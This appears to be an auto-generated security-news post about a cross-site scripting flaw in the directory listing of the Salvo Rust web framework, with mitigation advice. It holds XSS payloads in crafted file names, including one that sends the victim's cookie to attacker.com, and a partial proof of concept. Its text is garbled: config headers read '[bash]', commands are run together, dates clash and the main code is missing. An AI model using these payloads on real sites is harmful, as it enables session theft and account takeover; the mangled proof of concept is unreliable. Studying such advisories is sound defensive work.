Listen to this Post
The vulnerability exists in the `list_html` function of the directory listing feature. This function generates HTML links for files and folders but directly embeds their names into the anchor tag’s `href` and visible text without sanitization. An attacker can upload a file with a name containing malicious HTML/JavaScript payloads, such as "><img src=x onerror=alert(1)>. When a victim visits the auto-generated directory listing page, the unsanitized filename is rendered as raw HTML. The browser interprets the payload as part of the page’s DOM, executing the embedded JavaScript in the context of the site’s origin. This allows session theft, account takeover, or actions performed as the victim.
Platform: Salvo (Rust)
Version: 0.85.0
Vulnerability: XSS via Directory Listing
Severity: High
date: 2026-01-09
Prediction: 2024-08-15
What Undercode Say
Bash Commands:
cargo new poc cd poc
Code (Cargo.toml):
[bash]
name = "poc"
version = "0.1.0"
[bash]
salvo = { version = "0.85.0", features = ["serve-static"] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "fs"] }
Code (main.rs): See code block.
Bash Commands to Run PoC:
cargo run Server runs on http://127.0.0.1:5800 curl -F '[email protected]' http://127.0.0.1:5800/upload
How Exploit:
- Upload a file with a crafted name (e.g.,
"><script>fetch('https://attacker.com/?cookie='+document.cookie)</script>.txt). - The `list_html` function inserts the malicious name into the page’s HTML unsanitized.
3. Victim browses the `/files/` endpoint.
- The victim’s browser executes the script payload, sending their session cookie to the attacker.
Protection from this CVE
- Sanitize all user-controlled strings (file/folder names) before HTML output.
- Implement a strict Content Security Policy (CSP).
- Disable auto directory listing if not required.
- Update to a patched version of Salvo.
Impact
- Arbitrary JavaScript execution in the victim’s browser.
- Session hijacking and account takeover.
- Potential defacement or data exfiltration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
